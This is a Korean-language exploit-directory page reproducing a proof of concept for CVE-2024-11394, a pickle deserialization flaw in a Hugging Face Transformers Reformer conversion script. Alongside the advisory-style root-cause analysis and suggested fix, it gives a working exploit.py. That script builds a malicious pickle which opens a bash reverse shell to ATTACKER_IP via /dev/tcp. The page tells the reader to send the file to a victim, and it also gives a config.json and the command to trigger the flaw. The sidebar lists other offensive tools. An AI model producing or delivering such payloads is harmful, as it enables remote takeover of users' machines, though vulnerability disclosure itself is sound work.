Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-11394 — CVE-2024-11394에 대한 기술 세부 사항 및 익스플로잇 | Kitploit
도구/GitHubGitHub/piyush-bhor/cve-2024-11394
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationAI Security
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

CVE-2024-11394에 대한 기술 세부 사항 및 익스플로잇

저장소 보기
331년 전아직 검토되지 않음
공유

CVE-2024-11394

Hugging Face Transformers Trax 모델의 신뢰할 수 없는 데이터 역직렬화 원격 코드 실행 취약점

취약점 개요 및 영향:
이 취약점은 공격자가 악성 reformer trax 체크포인트 파일을 Hugging Face Transformers 저장소의 convert_reformer_trax_checkpoint_to_pytorch.py 스크립트에 제공하여 호스트 머신에서 임의 코드를 실행할 수 있도록 합니다.
만약 의심하지 않는 사용자가 타사 reformer trax 체크포인트 파일을 사용하고 convert_reformer_trax_checkpoint_to_pytorch.py 스크립트를 실행하면 피해자 시스템에서 원격 코드 실행(RCE)이 발생합니다.

취약한 제품

  • 제품: Hugging Face Transformers
  • 모듈: Reformer
  • 파일: transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • 버전: 최신
  • GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

근본 원인 분석

  • 취약점 상세 설명: 이 취약점은 신뢰할 수 없는 데이터의 안전하지 않은 역직렬화로 인해 발생합니다. 스크립트가 pickle.load를 사용하여 체크포인트 파일을 로드하므로 코드 실행에 취약합니다.

  • 입력에서 취약 조건까지의 코드 흐름:

  1. 사용자가 타사 reformer trax 모델을 다운로드합니다.
  2. 사용자가 convert_reformer_trax_checkpoint_to_pytorch.py 스크립트를 실행하고 체크포인트 파일을 전달합니다.
  3. convert_reformer_trax_checkpoint_to_pytorch.py 스크립트가 체크포인트 파일을 역직렬화하고 악성 코드를 실행합니다.
  • 주입 지점: pickle.load가 호출되는 지점에서 취약점이 발생합니다.
    GitHub Permalink: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • 제안된 수정: pickle.load를 yaml.safe_load(yaml_file) 또는 json.load로 대체하여 임의 코드 실행을 방지합니다.

  • 개념 증명 실행 지침:

  1. exploit.py를 실행하여 피해자 시스템에 리버스 셸을 생성하는 악성 pickle 파일 malicious.pkl을 만듭니다:
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

참고: 파일을 피해자에게 보내기 전에 ATTACKER_IP와 ATTACKER_PORT를 변경하십시오.

  1. config.json 설정 파일을 생성합니다:
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. convert_reformer_trax_checkpoint_to_pytorch.py 스크립트를 실행하고 malicious.pkl 파일을 --trax_model_pkl_path에 전달합니다:
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

참고: pytorch_dump_folder_path는 임의의 디렉터리로 설정할 수 있습니다.

소프트웨어 다운로드 링크:
https://github.com/huggingface/transformers/tree/main

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    369
  • 4

    redforge

    cybersecurity91/redforge

    브라우저 측 레드 팀 툴킷으로, 정찰, 페이로드 생성, 자격 증명 공격, 암호화, 인코딩 및 참여 보고를 위한 102개의 오프라인 도구를 제공합니다.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI 네이티브 사이버보안을 위한 행동 체계—의도가 통제된 실행이 되고, 증거가 운영 메모리가 되며, 모든 운영이 다음 운영을 개선하는 곳.

    282

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →